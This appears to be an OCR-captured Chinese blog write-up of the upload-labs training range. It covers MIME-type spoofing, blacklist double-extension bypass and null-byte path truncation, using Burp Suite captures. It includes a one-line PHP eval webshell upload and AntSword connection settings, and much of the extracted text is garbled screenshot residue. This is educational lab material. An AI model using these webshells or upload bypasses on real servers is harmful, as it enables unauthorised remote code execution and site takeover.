Burp Project Intruder Repeater Window Help Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Intercept HTTP history WebSockets history Options Immercept HTTP history WebSockets history Options Request to http://www.server.cn:80 [192.168.136.130] Forward Drop Intercept is on Action Raw Params Headers Hex 1 POST / upload-labs/Pass-10/index.php?action=show_code HTTP/1.1 2 Host: www.server.cn 3 User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 4 Accept - text/html,application/xhtml+xml,application/xml;q=0.5, image/webp,*/*:q=0.8 5 Accept-Language: zh-CN,zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2 6 Accept-Language: zh-CN,zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2 6 Accept-Language: zh-CN,zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2 7 Content-Type: multipart/form-data; houndary=115668935118021219552009211898 8 Content-Length: 405 9 Origin: http://www.server.cn 10 Connection: close 11 Refere: http://www.server.cn 12 Upgrade-Insecure-Requests: 1 13 14	Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz											
Dashboard Target Proxy Intruder Repeater Decoder Comparer Extender Project options User options Intercept HTTP history WebSockets history Options Image: Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Image: Proxy Image: Proxy WebSockets history Options Image: Proxy Image: Proxy Image: Proxy Image: Proxy Image: Proxy Image: Proxy Image: Proxy <td colspan="12">Burp Project Intruder Repeater Window Help</td>	Burp Project Intruder Repeater Window Help											
Intercept HTTP history WebSockets history Options Image: Provent Description of the state	Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options											
Request to http://www.server.cn:80 [192.168.136.130] Forward Drop Itercept is on Action Raw Params Headers I POST /upload-labs/Pass-10/index.php?action=show_code HTTP/1.1 2 Host: www.server.cn 3 User-Agent: Mozilla'5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 4 Accept: text/huml,application/xhtml+xml,application/xhtml=xml,application/xhtml=xml,application/xml;q=0.9, image/webp, "/*;q=0.8 5 Accept: text/huml,application/xhtml=xml,application/xml;q=0.9, image/webp, "/*;q=0.8 6 Accept: text/huml,application/xhtml=xml,application/xml;q=0.9, image/webp, "/*;q=0.8 7 Content-Type: multipatt/form=data; houndary=	Intercept HTTP history WebSockets history Options											
Forward Drop Intercept is on Action Raw Params Headers Hex 1 POST /upload-labs/Pass-10/index.php?action=show_code HTTP/1.1 2 Host: www.server.cn 3 User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.5, image/webp,*/*;q=0.8 5 Accept: Lext/html,application/xhtml+xml;application/xml;q=0.5, en-US;q=0.3, en;q=0.2 6 Accept: Encoding: gzip, deflate 7 Content-Type: multipart/form-data; boundary=115668935118021219552009211898 8 Content-Ingth: 405 Origin: http://www.server.cn 10 Connection: close Image: server.cn 12 Upgrade-Insecure-Requests: 1 Image: shell.pphp? 13	Request to http://www.server.cn:80 [192.168.136.130]											
Raw Params Headers Hex 1 POST /upload-labs/Pass-10/index.php?action=show_code HTTP/1.1 Host: www.server.cn 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 5 Accept-Language: zh-CN, sh;q=0.8; zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2 6 Accept-Encoding: gzip, deflate 7 Content-Type: multipart/form-data; boundary=	Forward Drop Intercept is on Action											
<pre>1 POST /upload-labs/Pass-10/index.php?action=show_code HTTP/1.1 2 Host: www.server.cn 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 5 Accept-Language: zh-CN,sh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6 Accept-Encoding: gzip, deflate 7 Content-Type: multipart/form-data; boundary=115668935118021219552009211898 6 Content-Length: 405 9 Origin: http://www.server.cn 10 Connection: close 11 Referer: http://www.server.cn/upload-labs/Pass-10/index.php?action=show_code 12 Upgrade-Insecure-Requests: 1 13 4</pre>	Raw Params Headers Hex											
24115668935118021219552009211898	Raw Params Headers Hex 1 POST /upload-labs/Pass-10/index.php?action=show_code HTTP/1.1 Host: Www.server.cn 3 User-Agent: Mostila/5.0 Vindows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=0.8 5 Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8 6 Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8 6 Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8 6 Accept: text/html, application/xhtml+xml,application/xml;q=0.2, and;q=0.2 6 Accept: text/html,application/xml;q=0.5, en-US;q=0.3, en;q=0.2 7 Content-Type: multipart/form-data; boundary=											

https://blog.csdn.net/weixin_43264698

← → C 0	🛛 🎽 www. server.cn /upload-labs/upload/shell.php					88 E	… ☆	$\overline{\mathbf{A}}$	11
			- 0	×					
D地 ○添加 × ● 基础配置	清空 章 测试连接	_ = ×	 ▶ 分类目录(1) ◆ 添加 ▲ 重命名 □ 默认分类) 會 删除	apshot-build* "enable-debug-pack* " p_5_2\vc6\x86\template* "with-php- build* "with-pdo-oci=D-\php- with-oci8=D-\php-sdk\oracle i3web*				
URL地址 * 连接密码 * 网站备注 编码设置 连接类型	http://www.server.cn/upload-labs/upload/shell.php cmd UTF8 PHP 编码器 ④ default (不维荐) ③ random (不维荐) ⑤ base64	×			`\php.ini				
 ● 请求信息 ☆ 其他设置 		^							
	1	✔ 成功 连接成	成功!		mpress.bzip2, zip				

if	<pre>(isset(\$_POST['submit'])) {</pre>
	if (file_exists(UPLOAD_PATH)) {
	\$deny_ext = //黑名单数组
	<pre>\$file_name = trim(\$_FILES['upload_file']['name']);</pre>
	<pre>\$file_name = str_ireplace(\$deny_ext,"", \$file_name);</pre>
	<pre>\$temp_file = \$_FILES['upload_file']['tmp_name'];</pre>
	<pre>\$img_path = UPLOAD_PATH.'/'.\$file_name;</pre>
	} else {

二、白名单过滤

1: 修改头部中的MIME值。

1.1: 第2关,后端程序通过检测请求头部中MIME属性的值从而来判断用户上传的文件是否为图片。因此利用Burp Suite来修改Request中的MIME属性从而绕过检测。

Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz											
Burp Project Intruder Repeater Window Help											
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options											
Intercept HTTP history WebSockets history Options											
Request to http://www.server.cn:80 [192.168.136.130]											
Forward Drop Intercept is on Action											
Raw Params Headers Hex											
<pre>1 POST /upload-labs/Pass-02/index.php?action=show_code HTTP/1.1 2 Host: www.server.cn 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6 Accept-Encoding: gzip, deflate 7 Content-Type: multipart/form-data; boundary=262496358539197669241661253628 8 Content-Length: 405 9 Origin: http://www.server.cn 10 Connection: close 12 Pgrade-Insecure-Requests: 1 13262496358539197669241661253628 15 Content-Disposition: form-data; name="upload_file"; filename="shell.php"</pre>											
<pre>10 content Type: Indge, pig 18 <?php phpinfo(); @eval(\$_POST['shell']); ?> 19 19</pre>											
20262496358539197669241661253628 21 Content-Disposition: form-data; name="submit"											
22 23 消费紙 24262496358539197669241661253628 25											

				- □	×	hot-build* 'enable-debug-pack* '
IP地	□ 添加数据		_ 🗆 ×	●添加 ▲ 重命名	∎ 删除	5_2\vc6\x86\template" "with-php- uild" "with-pdo-oci=D:\php-
	O 添加 × 注	清空 🥼 🔅 测试连接		□ 默认分类		th-oci8=D:\php-sdk\oracle
	≧ 基础配置		~			
	URL地址 * 连接密码 * 网站备注 编码设置 连接类型	http://www.server.cn/upload-labs/upload/shell.php cmd UTF8 PHP 编码器 ④ default (不推荐) ③ random (不推荐) ⑤ base64				np.ini
	e 请求信息		^			
	✿\$ 其他设置		^			
			✓ 成功 连接	成功!	۲	press.bzip2, zip https://blog.csdn.net/weixin_43264699

部分源码如下,完整源码请自行查看



2: 字符截断

2.1: 当读取到字符串的结束符的时候,字符串将会被认为处理完毕即使后面存在字符。比如在C语言当中字符串" abc\0123",当程序读取结束字符"\0"时,即认为字符串已经读取完毕从而停止继续读取,最终字符串为"abc\0"。在第11和12关 中就是利用该特性,路径可控的情况下进行字符截断。 Tip:

在这俩关中,需把php-in配置文件中的magic_quotes_gpc修改成Off才可以进行字符截断利用。magic_quotes_gpc在On的情况下,后端将会把输入的空字符即%00以及0x00进行转义,导致无法进行字符截断。

参考链接: https://www.cnblogs.com/timelesszhuang/p/3726736.html

2.2: 在第十一关中, Burp Suite抓取报文分析知道, 可控路径是通过Get方式传递数据的, 因此直接在url中进行截断。

🐕 Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz	
Burp Project Intruder Repeater Window Help	
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extended	Project options User options
Intercept HTTP history WebSockets history Options	
Request to http://www.server.cn:80 [192.168.136.130] Forward Drop Intercept is on Action Raw Params Headers Hex	%00进行截断
<pre>1 POST /upload-labs/Pass-11/index.php?save_path/upload/1.php%00 HTTP/1 2 Host: www.server.cn 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/web 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en; 6 Accept-Encoding: gzip, deflate 7 Content-Type: multipart/form-data; boundary=</pre>	1 100101 Firefox/82.0 p,*/*;q=0.8 q=0.2 345380157213765364531624435384
15 Content-Disposition: form-data; name="upload_file"; filename="shell.png	n -
16 Content-Type: application/octet-stream 17 18 20 20 20 21 Content-Disposition: form-data; name="submit" 22 23 消費結 24 25	修改成符合要求的后缀即可
25	

💼 upload-labs	× phpinfo()	× +							- 6	ø ×
	www.server.cn/unload-labs/Pass-11/i	ndex.nhn?save	nath= /upload/				RG •••	<> ↓ III	8 127.	» -®
		ndex.php.buve	👰 中国蚊剑						— q	- ×
Pass-07	上传区		AntSword 编辑 窗口 调试						-	
Pass-08										
Pass-09	请 选 择 要 上 传 的 图 片:		• ••							•
Pass-10			♦设置							
Pass-11	浏览 未选择文件。	上传								
Pass-12			≔ 数据管理 (0)					▶ 分类目录	(1)	>
Pass-13			URL地址	IP地	□ 添加数据	直接访问1.php即可访问到	木马文件 - □ ×	⊙添加	A重命名	自 删除
Pass-14					O 添加 × 洮	青空 🔅 測试连接		白野社会	*	0
Pass-15					副耳があつ			0 20 0/7	*	
<					E 소 milita		•			
🕞 🕘 HackBar 🌔 🚈	器 ▶ 控制台 ▶ 调试器 ♀ 性能 '	1↓ 网络 {}样3			101#45+*	http://www.engine.co/upland.labe/upland/f.abe	î			
Q. 搜索 HTML		+ 1			OKLABAL	http://www.server.cn/upioad-labs/upioad/1.php				
<pre>> <div id="menu"> <!--/pre--></div></pre>	'div>	^			连接密码 *	cmd				
▶ <h2> ··· </h2>					网站备注					
▼ <01>					66x7110 000					
v v 					猫的设置	U1F8	~			
::marker					连接类型	PHP	~			
<h3>上传区</h3>						4070 ⁰ 9				
<pre>method="post"></pre>	<pre>ave_patn=/upload/ enctype= multipa </pre>	rt/torm-data				海門語				
<pre>▶ <div id="msg"></div></pre>						● default (不推荐)				
<pre>wide id="img"></pre>						□ random (不推荐)				
width="250px">	p10ad/1.pnp@/6820210130125436.png					C random (r) je ity				
c/div>						O base64	*			
					● 请求信息		•			
01					C HARD HARD					
<pre>> <div id="footer"> <!--/pre--></div></pre>	/div>				✿\$ 其他设置		^			
<div class="mask"><td>iv></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></div>	iv>									
<pre><div class="dialog"></div></pre>	<pre>m varspipt" sps="(upload labs/is</pre>									
/jquery.min.js"> <td>ipt></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>🗸 成長</td> <td>] Kettaria</td> <td></td> <td>v</td>	ipt>						🗸 成長] Kettaria		v
<script src="/upload-labs/js/prism.</td><td><u>js</u>" type="text/jav</td><td>vascript"></script>					2年也	无成-切!				
<script type="text/jav
numbers min_is"></scri</td><td><pre>vascript" src="/upload-labs/js/prism- int></pre></td><td>line-</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><script type="text/jav</td><td>vascript" src="/upload-labs/js/prism-</td><td></td><td></td><td></td><td></td><td>+loat</td><td></td><td>none</td><td></td><td></td></tr><tr><td><pre>php.min.js"></script>						line-height		normal		
<script src="/upload-labs/js/index.</td><td>js" type="text/jav</td><td>vascript"></script>				position 7-index		static				
html > body > div#main > ol	I > li > div#ima > ima					2-index		https://blog.c		

2.2: 第十二关和十一关类似,是以POST方式提交数据,因此利用Burp Suite的拦截功能来对请求头进行修改。

🔒 Burp Suite	Professional v	2020.1 -	Temporary Pro	oject - licens	ed to surferxyz												- 0	×
Burp Project Int	ruder Repeater	Window H	elp															
Dashboard Ta	arget Proxy I	ntruder R	epeater Sequen	cer Decoder	Comparer Extend	er Project option	s User	options										
Intercept HTT	P history Web	Sockets his	tory Options															
Request to F	http://www.server.	cn:80 [192	.168.136.130]			<u>+/</u>	~~~	-++00										
Forward	Drop	Inte	rcept is on	Action	找到刘	业111直1	家以	<u>, 52,00</u>									Comment this item	\odot
					可以在可	コャな	5的月	后面添加	特殊作	为标记。	EK.	□字符+	、 十六	讲制表	示为2h)		0
Raw Params	Headers He	×						нциломон	LAWEL			H J 10	/ 1/					
24	61	64	2d	6c	61	62	73	2f	50	61	73	73	2d	31	32	2f	ad-labs/Pass-12/	^
25	69	6e	64	65	78	2e	70	68	70	3f	61	63	74	69	6f	6e	index.php?action	- 11
26	3d	73	68	6f	77	5f	63	6f	64	65	0d	0a	55	70	67	72	=show_codeUpgr	- 11
27	61	64	65	2d	49	6e	73	65	63	75	72	65	2d	52	65	71	ade-Insecure-Req	- 11
28	75	65	73	74	73	3a	20	31	0d	0a	0d	0a	2d	2d	2d	2d	uests: 1	
29	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d		
2a	2d	2d	2d	2d	2d	2d	2d	2d	2d	32	30	32	32	35	36	32	2022562	
2b	32	39	36	38	32	39	35	39	33	36	35	36	32	34	39	31	2968295936562491	- 11
2c	31	34	39	32	30	39	0d	0a	43	6f	6e	74	65	6e	74	2d	149209Content-	
2d	44	69	73	70	6f	73	69	74	69	6f	6e	3a	20	66	6f	72	Disposition: for	
2e	6d	2d	64	61	74	61	3b	20	6e	61	6d	65	3d	22	73	61	m-data; name="sa	
21	76	65	51	70	61	74	68	22	Ud	Ua	00	Ua	20	20	21	75	ve path"/u	
30	70	6C	61	61	64	21	31	Ze	70	68	70	00	pa pa	Ua	20	20	pload/1.pnp	
31	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20		
32	20	20	20	20	20	20	20	20	20	20	20	32	30	32	32	35	20225	
33	30	32	32	39	30	30	32	39	35	39	33	30	35	30	32	34 C-	0229002959305024	
25	39	24	31	54	39	32	50	35	60	74	40	61	60	24	20	66	4 Dispesition (
35	14	70	44	03	13	61	74	73	25	20	60	61	66	58	20	22	c-Disposition. 1	
30	76	70	60 60	20	61	64	EF	66	50	20	66	22	26	20	50	60	unload file": 5	
38	60	65	60	61	64	65	34	22	73	68	65	60	60	20	70	60	lename="shell on	
39	67	22	50 b0	0a	43	65	60	74	65	60	74	24	54	79	70	65	a"Content-Type	
3a	3a	20	61	70	70	60	69	63	61	74	69	6f	6e	2f	6f	63	application/oc	
3b	74	65	74	2d	73	74	72	65	61	6d	0d	0a	00	0a	30	3f	tet-stream </td <td></td>	
3c	70	68	70	20	70	68	70	69	6e	66	6f	28	29	3b	20	40	php phpinfo(); @	
3d	65	76	61	6c	28	24	5f	50	4f	53	54	5b	27	73	68	65	eval(\$ POSTI'she	
3e	6c	6c	27	5d	29	3b	20	3f	3e	0d	0a	0d	0a	2d	2d	2d	II']); ?>	
3f	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d		
40	2d	2d	2d	2d	2d	2d	2d	2d	2d	2d	32	30	32	32	35	36	202256	
41	32	32	39	36	38	32	39	35	39	33	36	35	36	32	34	39	2296829593656249	
42	31	31	34	39	32	30	39	0d	0a	43	6f	6e	74	65	6e	74	1149209Content	
43	2d	44	69	73	70	6f	73	69	74	69	6f	6e	3a	20	66	6f	-Disposition: fo	
44	72	6d	2d	64	61	74	61	3b	20	6e	61	6d	65	3d	22	73	rm-data; name="s	1000
45	75	62	6d	69	-74	- 22	0d	0a	0d	0a	e4	b8	8a	e4	bc	a0	ubmit"a Da%	050



学习过程中,对于知识的总结很有必要,特别是知识面比较广以及多的情况下,否则会出现"提笔忘字"的情况。